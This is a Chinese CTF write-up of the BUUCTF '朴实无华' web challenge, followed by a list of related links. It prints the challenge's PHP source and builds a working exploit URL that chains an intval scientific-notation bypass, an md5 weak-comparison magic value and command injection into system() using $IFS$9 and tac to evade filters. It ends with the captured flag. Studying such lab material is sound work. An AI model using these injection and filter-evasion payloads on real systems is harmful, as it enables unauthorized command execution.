buuctf 朴实无华
打开题目
查看一下robots.txt,看一下爬虫规则
打开看看
按f12,查看消息头,有个tips,/fl4g.php
打开后看到一串代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧
首先是intval函数绕过,GET接收num参数,num要小于2020,加1后要大于2021。
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好
我们使用的是科学计数法来进行绕过intval函数
当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过 //11e3代表11000
/fl4g.php/?num=11e3
成功绕过,进入下一关md5绕过
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}
两个等于,这里使用的是md5弱比较,只要找到一个值的MD5值等于他本身即可完成绕过,这里我使用0e2159620
/fl4g.php/?num=11e3&md5=0e215962017
最后一关getflag
//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
GET传参get_flag,然后get_flag参数里不能有空格,同时会将cat转化为wctf2020,说明我们不能单纯使用cat得到flag,得进行绕过
这里的空格的话可以用$IFS$9
尝试着查看上级目录
/fl4g.php/?num=11e3&md5=0e215962017&get_flag=ls
然后这里使用代替cat的是tac,tac是按行倒着显示,最后一行显示在最上面,然后使用$IFS$9来替代空格
构造payload;
/fl4g.php?num=11e3&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag
flag{cc92aa3e-626e-4d8b-9fa6-94f7f041c0ef}
buuctf 朴实无华相关推荐
- Buuctf -web wp汇总(三)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- BUUCTF的Web真题学习整理(一)
目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...
- 『数据库』朴实无华且枯燥的数据库文章--关系数据理论
『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 问题的提出 规范化 数据依赖的公理系统 模式的分解 小结 问题的提出 一.概念回顾 关系:描述实体.属性.实体间的联 ...
- 『数据库』朴实无华的数据库多表查询,连接查询、笛卡尔积
『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 一.交 二.并 三.差 四.笛卡尔积 五.连接查询 一.交 (会用到连接运算,固定写法,连接运算在下面不用着急看) ...
- 『数据库』朴实无华的数据库绪论
『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 数据库系统概述 数据模型 概念模型 数据库系统结构 数据库系统的组成 数据库系统概述 一.四个基本概念 1.数据(D ...
- BUUCTF寒假刷题-Web
前言 寒假横向刷题(尽量) BUUCTF
- BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...
- BUUCTF刷题笔记
BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...
最新文章
- 汇编语言 执行push和执行pop区别 栈顶的变化范围
- 数据可视化之 星图
- Asp.net常用优化方法
- python静态变量和静态方法_python的静态成员变量、实例成员变量、静态方法、类方法、实例方法...
- vue 动态组件组件复用_真正的动态声明性组件
- 难道真的是RedBook错了?
- matlab 自带例子,matlab自带各种分类器的使用示例
- 谷歌浏览器访问网站无法加载验证码图片问题
- matlab win10 精简版下载,完美解决win10无法运行matlab问题
- 苹果linux内核,意外!2020 年的 Linux 内核仍为苹果 Macintosh II 修复驱动
- 做鼻子测试软件,美鼻小测试,测测你的鼻子有几分?
- 服务器cpu都有哪些型号,盘点目前性价比最高的CPU有哪些型号
- linux下构建Smokeping网络监控平台
- 优思学院|六西格玛设计方法IDDOV是什么?
- 2008无线站点、客户端、手游TOP50揭晓!
- 嵌入式处理器分类与现状
- 史上最“牛”,荣辱参半的的JAVA群规和QQ群
- 爱线段树的好孩子【九校2D1T3】优美序列
- GB/T28181协议视频平台EasyGBS视频快照优化,减少服务器性能消耗
- 连云港市电子证书查询系统 html,连云港市教育局